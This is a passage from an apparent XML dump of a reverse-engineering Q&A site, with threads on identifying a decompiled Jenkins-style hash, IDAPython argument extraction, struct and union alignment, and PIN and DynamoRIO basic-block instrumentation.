4);&#xA;      goto LABEL_11;&#xA;    case 4u:&#xA;LABEL_11:&#xA;      v5 += *(_BYTE *)(content + 3) &amp;lt;&amp;lt; 24;&#xA;      goto LABEL_12;&#xA;    case 3u:&#xA;LABEL_12:&#xA;      v5 += *(_BYTE *)(content + 2) &amp;lt;&amp;lt; 16;&#xA;      goto LABEL_13;&#xA;    case 2u:&#xA;LABEL_13:&#xA;      v5 += *(_BYTE *)(content + 1) &amp;lt;&amp;lt; 8;&#xA;      goto LABEL_14;&#xA;    case 1u:&#xA;LABEL_14:&#xA;      v5 += *(_BYTE *)content;&#xA;      break;&#xA;    default:&#xA;      break;&#xA;  }&#xA;  v16 = (v15 &amp;gt;&amp;gt; 13) ^ (v5 - v4 - v15);&#xA;  v17 = (v16 &amp;lt;&amp;lt; 8) ^ (v4 - v15 - v16);&#xA;  v18 = ((unsigned int)v17 &amp;gt;&amp;gt; 13) ^ (v15 - v16 - v17);&#xA;  v19 = ((unsigned int)v18 &amp;gt;&amp;gt; 12) ^ (v16 - v17 - v18);&#xA;  v20 = (v19 &amp;lt;&amp;lt; 16) ^ (v17 - v18 - v19);&#xA;  v21 = ((unsigned int)v20 &amp;gt;&amp;gt; 5) ^ (v18 - v19 - v20);&#xA;  v22 = ((unsigned int)v21 &amp;gt;&amp;gt; 3) ^ (v19 - v20 - v21);&#xA;&#xA;  return (((v22 &amp;lt;&amp;lt; 10) ^ &#xA;           (unsigned int)(v20 - v21 - v22)) &amp;gt;&amp;gt; 15) ^ &#xA;           (v21 - v22 - ((v22 &amp;lt;&amp;lt; 10) ^ (v20 - v21 - v22)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a1 is an address location&#xA;a2 is the length of the file to hash&#xA;zero I renamed as it always sends zero for whatever reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First and foremost, is this a standard algorithm like CRC or&#xA;something? &lt;/li&gt;&#xA;&lt;li&gt;Is there a reason for the v4 and v5 variables to be -1640531527?&lt;/li&gt;&#xA;&lt;li&gt;What is the purpose of &lt;code&gt;(*(_BYTE *)(content + 7) &amp;lt;&amp;lt; 24)&lt;/code&gt; isn't a byte only 8 bits, so won't it be 0 every time? I looked up the order of operations and it seems that the casting is first then the bit operations, so it means it converts it to the 8th byte in the file and bit shifts it 24 bits right? why?&lt;/li&gt;&#xA;&lt;li&gt;Why are some bits signed and some unsigned, and would it change the outcome if there is a mix?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Those are most of my questions, I understand it is going through all the bytes and getting a total to figure out the &quot;hash&quot; for the file, I understand that the switch case is taking care of the situation of the file not being exactly divisible by 12. I think once I understand the logic behind the bitwise operations then it will be more clear.&lt;/p&gt;&#xA;" OwnerUserId="12488" LastEditorUserId="53" LastEditDate="2015-05-11T07:22:32.553" LastActivityDate="2015-05-13T11:09:03.447" Title="Hash algorithm written in C decompiled with IDA" Tags="|ida|c++|decompiler|hash-functions|crc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8867" PostTypeId="2" ParentId="8866" CreationDate="2015-05-11T06:19:50.217" Score="7" Body="&lt;p&gt;-1640531527 is hexadecimal '0x9e3779b9'.&#xA;This number is used in boost hash function.&#xA;The code &lt;a href=&quot;http://burtleburtle.net/bob/c/lookup2.c&quot;&gt;here&lt;/a&gt; in function &lt;code&gt;ub4 hash( k, length, initval)&lt;/code&gt; looks similar to yours, at least in the last part.&#xA;I think that it is a good point to start googling from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can say it is probably intermediate variant(lookup2) of &lt;a href=&quot;http://en.wikipedia.org/wiki/Jenkins_hash_function&quot;&gt;Jenkins Hash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-05-11T06:56:27.203" LastActivityDate="2015-05-11T06:56:27.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8868" PostTypeId="2" ParentId="8865" CreationDate="2015-05-11T08:20:26.940" Score="2" Body="&lt;p&gt;I would start by tracing all the traffic coming in and out of your application. A good summary of ways to do that are well documented in &lt;a href=&quot;https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark&quot;&gt;this&lt;/a&gt; stack overflow answer ().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you capture the traffic, examine it, what type of protocol does it use? Chances are, it's something wireshark will recognize, like http.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step I'd try is to examine what traffic is generated per each component in your app, for example, start the capture, press only the up command, than examine the traffic to identify the exact command on the wire&lt;/p&gt;&#xA;" OwnerUserId="12479" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-05-11T08:20:26.940" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8869" PostTypeId="1" CreationDate="2015-05-11T18:08:26.483" Score="2" ViewCount="2021" Body="&lt;p&gt;I want to debug a native library loaded by JNI on Android. I have set up the debugging environment to debug native code running on Bluestacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got gdbserver installed on rooted Bluestacks, running in Windows environment, and I have gdb obtained from Adroid NDK on my Windows box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out though that I am not able to debug ARM native code running on Bluestacks as the OS is running in i686 architecture and ARM is very likely emulated somehow by Bluestacks engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get a connection from gdb to gdbserver running on i686, but I can't set the architecture to arm (&lt;code&gt;set architecture arm&lt;/code&gt;) afterwards and the debugger wants to operate with i686 registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to actually set up gdb and gdbserver to switch to ARM architecture while the android is compiled for i686 arch and it does run on i686 which is my Windows box? I heard about gdb-multiarch, but I'm not sure if it is what I need. I tried gdb 7.6 from MinGW package, but it also didn't help.&lt;/p&gt;&#xA;" OwnerUserId="8043" LastActivityDate="2016-03-02T17:51:54.933" Title="Remotely debugging Android native ARM library running in Bluestacks" Tags="|debugging|gdb|android|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8870" PostTypeId="1" AcceptedAnswerId="8876" CreationDate="2015-05-11T21:54:56.743" Score="10" ViewCount="5986" Body="&lt;p&gt;Let's say I have the following function in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall function&amp;lt;eax&amp;gt;(char* message&amp;lt;ebp&amp;gt;, unsigned int count&amp;lt;edi&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the fastest way to extract the argument information using IDAPython, such that I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[['char*', 'message', 'ebp'],['unsigned int','count','edi']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not that it also needs to handle situations like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void *__usercall sub_4508B0@&amp;lt;rax&amp;gt;(void *(__usercall *function)@&amp;lt;rax&amp;gt;(int one@&amp;lt;eax&amp;gt;)@&amp;lt;rax&amp;gt;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should give me something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[['void * ...', 'function', 'rax']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastEditorUserId="53" LastEditDate="2015-05-12T07:32:01.160" LastActivityDate="2015-05-12T16:28:36.033" Title="Extracting arguments from IDA" Tags="|ida|disassembly|idapython|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8873" PostTypeId="2" ParentId="8866" CreationDate="2015-05-12T10:38:08.527" Score="6" Body="&lt;p&gt;Some more low-level details:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;What is the purpose of (*(_BYTE *)(content + 7) &amp;lt;&amp;lt; 24) isn't a byte only 8 bits, so won't it be 0 every time?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In C, shifts implicitly promote the operand to at least an int/unsigned int, so the _BYTE value gets promoted to an unsigned int. This is probably because most processors support shifts on a single word size and not bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another problem, where the result is assigned to an int instead of an unsigned int, which brings you to the next question...&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Why are some bits signed and some unsigned, and would it change the outcome if there is a mix?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The assembler for signed left shift and unsigned left shift are the same, as bits shifted outside the register just disappear. This means the decompiler can't tell if a left shift was unsigned, so it uses a safe guess of int.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signed right shift and unsigned right shift are different, because the sign bit has to be filled correctly. This allows the decompiler to guess unsigned correctly only for right shifts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, a decompiler cannot detect if a variable is unsigned because so many operations are the same as on a signed variable.&lt;/p&gt;&#xA;" OwnerUserId="12496" LastActivityDate="2015-05-12T10:38:08.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8874" PostTypeId="1" CreationDate="2015-05-12T12:24:15.180" Score="2" ViewCount="496" Body="&lt;p&gt;How allocate memory on Kernel mode by windbg?&#xA;I use .dvalloc on user mode but not working on kernel mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="12454" LastActivityDate="2015-05-12T12:24:15.180" Title="How allocate memory on Kernel mode by windbg?" Tags="|windows|debugging|memory|windbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8876" PostTypeId="2" ParentId="8870" CreationDate="2015-05-12T16:28:36.033" Score="15" Body="&lt;p&gt;I received an answer from HexRays support which has a solution which does not rely on parsing the C string retrieved by &lt;code&gt;GetType(ea)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's imagine we start with a function prototype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's from an ELF file, x86 abi; stuff is passed on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;from idaapi import *&#xA;Python&amp;gt;tif = tinfo_t()&#xA;Python&amp;gt;get_tinfo2(here(), tif)&#xA;True&#xA;Python&amp;gt;funcdata = func_type_data_t()&#xA;Python&amp;gt;tif.get_func_details(funcdata)&#xA;True&#xA;Python&amp;gt;funcdata.size()&#xA;3&#xA;Python&amp;gt;for i in xrange(funcdata.size()):&#xA;Python&amp;gt;    print &quot;Arg %d: %s (of type %s, and of location: %s)&quot; % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())&#xA;Python&amp;gt;&#xA;Arg 0: argc (of type int, and of location: 1)&#xA;Arg 1: argv (of type const char **, and of location: 1)&#xA;Arg 2: envp (of type const char **, and of location: 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it tells me the location type is &lt;code&gt;1&lt;/code&gt;, which corresponds&#xA;to 'stack':&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/group___a_l_o_c__.html&quot;&gt;https://www.hex-rays.com/products/ida/support/sdkdoc/group___a_l_o_c__.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's assume I change the prototype to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0804ABA1 ; int __usercall main@&amp;lt;eip&amp;gt;(int argc@&amp;lt;eax&amp;gt;, const char **argv@&amp;lt;esp&amp;gt;, const char **envp@&amp;lt;edx&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;get_tinfo2(here(), tif)&#xA;True&#xA;Python&amp;gt;tif.get_func_details(funcdata)&#xA;True&#xA;Python&amp;gt;for i in xrange(funcdata.size()):&#xA;Python&amp;gt;    print &quot;Arg %d: %s (of type %s, and of location: %s)&quot; % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())&#xA;Python&amp;gt;&#xA;Arg 0: argc (of type int, and of location: 3)&#xA;Arg 1: argv (of type const char **, and of location: 3)&#xA;Arg 2: envp (of type const char **, and of location: 3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Argument location type is &lt;code&gt;3&lt;/code&gt; now, which corresponds to 'inside&#xA;register'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Then, I would have to use &lt;code&gt;reg1()&lt;/code&gt; to retrieve the actual&#xA;register number to know &lt;em&gt;what&lt;/em&gt; register the argument is&#xA;passed in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit goes to Arnaud of Hex Rays.&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2015-05-12T16:28:36.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8877" PostTypeId="1" AcceptedAnswerId="8878" CreationDate="2015-05-12T16:31:05.327" Score="0" ViewCount="349" Body="&lt;p&gt;i have the following question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I have the structure &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    IMAGE_SECTION_HEADER STRUCT         |   C1    |    C2      &#xA;    Name1                     BYTE      |   +0    |    +0&#xA;    union Misc                          |&#xA;        PhysicalAddress       DWORD     |    2    |     2&#xA;        VirtualSize           DWORD     |    6    |&#xA;    ends                                |&#xA;    VirtualAddress            DWORD     |    10   |     6&#xA;    SizeOfRawData             DWORD     |    14   |     10&#xA;    PointerToRawData          DWORD     |    18   |     14&#xA;       ...(etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then how I must count the offsets? The columns C1 and C2 represent my solutions but i am not sure which of the two is right or if both are wrong.&#xA;Do I have to consider the union in the structure as 1 field, or do I need to consider its fields separately?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-05-13T13:04:24.750" Title="Counting offsets of structure fields" Tags="|struct|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-14T07:23:45.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="8878" PostTypeId="2" ParentId="8877" CreationDate="2015-05-12T17:17:19.360" Score="3" Body="&lt;p&gt;A union is a list of fields &lt;em&gt;starting at the same address in memory&lt;/em&gt; (except for bitfields, of course). Its size is at least the size of the largest field in it. In your case, it would be 4 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, like structs, the size can be bigger due to alignment requirements. For example, take this C union:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;union MyUnion {&#xA;    char a[5];&#xA;    int b;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;a&lt;/code&gt; fields is 5 bytes, &lt;code&gt;b&lt;/code&gt; is 4. You would expect the union to be 5 bytes, but, as you can check with &lt;code&gt;sizeof(union MyUnion)&lt;/code&gt;, it is actually 8. This is because &lt;code&gt;int&lt;/code&gt;s are aligned to a 4-byte boundary. Similiarly, &lt;code&gt;short&lt;/code&gt;s are aligned to 2 bytes and &lt;code&gt;double&lt;/code&gt;s to 8. &lt;a href=&quot;http://goo.gl/yzwlrX&quot; rel=&quot;nofollow&quot;&gt;Try it on CodingGround&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be asking yourself: why does the compiler align the union &lt;em&gt;size&lt;/em&gt;? Isn't aligning the &lt;em&gt;starting address&lt;/em&gt; enough? It could well keep the size of &lt;code&gt;MyUnion&lt;/code&gt; to 5 and align the start to a 4-byte boundary for the int. The problem comes when you have an array of the union. An array needs to be a &lt;em&gt;contiguous&lt;/em&gt; block of memory because of how array and pointer arithmetic works. Given a generic &lt;code&gt;T array[]&lt;/code&gt; you have that &lt;code&gt;array[i] == *(array + i) == *((T *) (((char *) array) + i * sizeof(T)))&lt;/code&gt;. In the example case, &lt;code&gt;MyUnion&lt;/code&gt; has a 4-byte alignment requirement (the largest aligment in the union). If you have a &lt;code&gt;MyUnion array[]&lt;/code&gt;, the starting address will be 4-byte aligned because of the int. This means that &lt;code&gt;array[0]&lt;/code&gt; will be correctly aligned. But if the size of the union is 5, then &lt;code&gt;array[1]&lt;/code&gt; will be at a 5 bytes offset from the starting address. This is not 4-byte aligned! Aligning the union size to 8 bytes puts &lt;code&gt;array[1]&lt;/code&gt; to a 8 bytes offset, which is 4-bytes aligned. Aligning the size by padding the union allows the array to be contiguous while keeping everything aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bottom line:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In a union (or a struct), both the &lt;em&gt;starting address&lt;/em&gt; and the &lt;em&gt;size&lt;/em&gt; are aligned to the biggest alignment requirement of the fields.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, alignment requirements may vary between compilers and architectures. Keep that in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither C1 nor C2 is correct as far as I can see, since the first field is a byte and not two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMAGE_SECTION_HEADER STRUCT         |w/o align| aligned |&#xA;Name1                     BYTE      |   +0    |   +0    |&#xA;union Misc                          |   +1    |   +4    |&#xA;    PhysicalAddress       DWORD     |         |         |&#xA;    VirtualSize           DWORD     |         |         |            &#xA;ends                                |         |         |&#xA;VirtualAddress            DWORD     |   +5    |   +8    |&#xA;SizeOfRawData             DWORD     |   +9    |   +12   |&#xA;PointerToRawData          DWORD     |   +13   |   +16   |&#xA;   ...(etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12484" LastEditorUserId="12484" LastEditDate="2015-05-13T13:04:24.750" LastActivityDate="2015-05-13T13:04:24.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8883" PostTypeId="2" ParentId="8866" CreationDate="2015-05-13T11:09:03.447" Score="4" Body="&lt;p&gt;Just a small addition to the previous answers.&lt;p&gt;&#xA;The following shift construct, asked in 3, is a widely used way to convert a byte stream into a 32-bit integer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   (*(_BYTE *)(content + 7) &amp;lt;&amp;lt; 24)&#xA; + (*(_BYTE *)(content + 6) &amp;lt;&amp;lt; 16)&#xA; + (*(_BYTE *)(content + 5) &amp;lt;&amp;lt; 8)&#xA; + *(_BYTE *)(content + 4)&#xA;&#xA;31    24    23    16    15     8    7      0&#xA;AAAAAAAA    BBBBBBBB    CCCCCCCC    DDDDDDDD&#xA;  ^^^         ^^^         ^^^         ^^^&#xA;content[7]  content[6]  content[5]  content[4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;content&lt;/code&gt; is the address of a byte array, you can simply write &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(_BYTE *)(content+7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;content[7]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But of course, you should declare &lt;code&gt;content&lt;/code&gt; in a different way as the decompiler did, but the decompiler see only a pointer and don't know that it is a byte array really.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-05-13T11:09:03.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8884" PostTypeId="1" CreationDate="2015-05-13T13:40:10.123" Score="1" ViewCount="904" Body="&lt;p&gt;I have created a &lt;strong&gt;pintool&lt;/strong&gt; that outputs in a json file all the basic blocks executed by a program. The problem is that the &lt;strong&gt;instrumented program runs slow&lt;/strong&gt; so I am &lt;strong&gt;trying to optimize my pintool&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking I could remove the calls to the instrumentation function from a block after it's called once, but i haven't been able to find how to do that. In the official PIN documentation there is only the function &lt;code&gt;PIN_RemoveInstrumentation()&lt;/code&gt; which seems to disable all the intrumentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me how to do that or if it is even possible to do it using PIN?&lt;/p&gt;&#xA;" OwnerUserId="12508" LastEditorUserId="1413" LastEditDate="2015-05-13T16:12:11.860" LastActivityDate="2015-07-14T09:20:37.677" Title="How can I remove a bbl instrumentation call at a specific address in PIN?" Tags="|instrumentation|pintool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8885" PostTypeId="2" ParentId="8837" CreationDate="2015-05-13T13:41:06.320" Score="2" Body="&lt;p&gt;For a 32bit (but &lt;em&gt;not&lt;/em&gt; 64bit) x86 ELF binary, selecting the following options works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSQMDm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iVEcim.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wtRSv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a bug in IDA 6.8 (and probably earlier versions): For 64bit x86 ELF binaries, I get the desired disassembly result only when additionally deselecting &quot;Replace PIC form of ...&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the reason for my confusion and made me post my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hex-rays sent me a patch which fixed it (and which will probably be part of future versions... )&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2015-05-28T08:39:17.103" LastActivityDate="2015-05-28T08:39:17.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8886" PostTypeId="2" ParentId="8884" CreationDate="2015-05-13T17:03:29.900" Score="1" Body="&lt;p&gt;PIN does not provide a direct API to remove a basic block instrumentation call on a particular address.What you could do is keep track of basic blocks which have been executed at least once. &#xA;&lt;br&gt;You would insert instrumentation calls only for those basic blocks which have not been executed previously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a crude example based on the &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/65163/Pin/html/&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The running count of instructions is kept here&#xA;// make it static to help the compiler optimize docount&#xA;static UINT64 icount = 0;&#xA;&#xA;// Count the number of instructions in this basic block&#xA;VOID docount(UINT32 c) { icount += c; }&#xA;&#xA;VOID Trace(TRACE trace, VOID *v)&#xA;{    &#xA;    for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))&#xA;    {   &#xA;        ADDRINT addr = BBL_Address(bbl);&#xA;        if (alreadyVistited(addr) == false) &#xA;        {&#xA;            // Add instrumentation call for this basic block&#xA;            BBL_InsertCall(bbl, IPOINT_ANYWHERE, (AFUNPTR)docount, IARG_UINT32, BBL_NumIns(bbl), IARG_END);&#xA;        }&#xA;        else&#xA;        {&#xA;            addToVisitedList(addr);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;int main(int argc, char * argv[])&#xA;{&#xA;...&#xA;TRACE_AddInstrumentFunction(Trace, 0);&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The overhead of this entirely depends on the complexity of the instrumentation code added. &#xA;&lt;br&gt;In general to speed things up, you should turn on maximum compiler optimizations. If possible you may also use a better compiler such as the &lt;em&gt;&lt;a href=&quot;https://software.intel.com/en-us/intel-compilers&quot; rel=&quot;nofollow&quot;&gt;Intel Compiler&lt;/a&gt;&lt;/em&gt; which is capable of generating extremely fast code.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;nofollow&quot;&gt;dynamoRIO&lt;/a&gt; instead of PIN, you can more easily achieve what you want to do. Here is a sample code which logs all basic blocks executed by the program in the main module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define WINDOWS&#xA;#define X86_32&#xA;#define _CRT_SECURE_NO_DEPRECATE&#xA;#include &quot;dr_api.h&quot;&#xA;#pragma comment(lib, &quot;dynamorio.lib&quot;)&#xA;&#xA;static file_t logFile;&#xA;static LPBYTE mainModStartAddr, mainModEndAddr;&#xA;&#xA;// This is called once for each basic block as it's discovered&#xA;static dr_emit_flags_t event_basic_block(void *drcontext, void *tag, instrlist_t *ilist, bool for_trace, bool translating)&#xA;{&#xA;    // The IP of the basoc block&#xA;    LPBYTE addr = dr_fragment_app_pc(tag);&#xA;&#xA;    // Basic Block must be within the main module&#xA;    if (addr &amp;gt;= mainModStartAddr &amp;amp;&amp;amp; addr &amp;lt;= mainModEndAddr) &#xA;        dr_fprintf(logFile, &quot;0x%08X&quot;, addr);&#xA;    return DR_EMIT_DEFAULT;&#xA;}&#xA;&#xA;&#xA;static void event_exit()&#xA;{&#xA;    dr_close_file(logFile);&#xA;}&#xA;&#xA;&#xA;DR_EXPORT void dr_init(client_id_t id)&#xA;{&#xA;    module_data_t *data  = dr_get_main_module();&#xA;    mainModStartAddr = data-&amp;gt;start;&#xA;    mainModEndAddr = data-&amp;gt;end;&#xA;    dr_free_module_data(data);&#xA;&#xA;    logFile = dr_open_file(&quot;logfile.txt&quot;, DR_FILE_WRITE_OVERWRITE);&#xA;&#xA;    dr_register_bb_event(event_basic_block);    &#xA;    dr_register_exit_event(event_exit);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that there is no analysis function needed at all. The instrumentation function &lt;code&gt;event_basic_block&lt;/code&gt; will be called once per basic block. It will not be called more than once, as from second time onwards, the code will be executed from the code cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between dynamoRIO and PIN is that the former directly allows to register a callback for basic block generation. PIN on the other hand allows a callback for trace generation. A trace a collection of basic blocks. Also since not all basic blocks may be executed in a trace, using PIN in this situation is comparatively difficult.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-07-14T09:20:37.677" LastActivityDate="2015-07-14T09:20:37.677" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8888" PostTypeId="2" ParentId="8716" CreationDate="2015-05-14T04:07:25.193" Score="0" Body="&lt;p&gt;First you have to find for call IsDebuggerPresent and modify return value in EAX register to 0. Then after you have to find call GetCurrentProcessId and modify input parameter with your dummy process id. Second process you have to done before starting of new thread then after you can attach your debugger to that child process.&#xA;I've fetched same situation in all-in-one keylogger&lt;/p&gt;&#xA;" OwnerUserId="11763" LastActivityDate="2015-05-14T04:07:25.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8889" PostTypeId="1" CreationDate="2015-05-14T06:59:13.317" Score="6" ViewCount="719" Body="&lt;p&gt;Let's assume we have a function which has a following variables in it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Local variables on stack of different types, including types defined in local types window&lt;/li&gt;&#xA;&lt;li&gt;Local variables of different types mapped to registers&lt;/li&gt;&#xA;&lt;li&gt;Function parameters of different types&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have 2 IDBs with the same function based on the same binary and I want to pass this data from one IDB to another.&#xA;Let's also assume that I have a solution of passing related data types between databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can iterate the local variables in decompiled function by using  user_lvar_visitor_t class. &#xA;I also know that there is a function save_user_lvar_settings these variables by using of the same iterator class user_lvar_visitor_t.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following questions regarding this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Which data should I gather from the first database to create these variables in second database correctly (with IDAPython, IDA version is 6.8)?&lt;/li&gt;&#xA;&lt;li&gt;How can I create these variables in the second database to make use of save_user_lvar_settings or restore_user_lvar settings (with IDAPython, IDA version is 6.8)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Update: Before asking this question I reviewed the following IDA collaboration solutions:  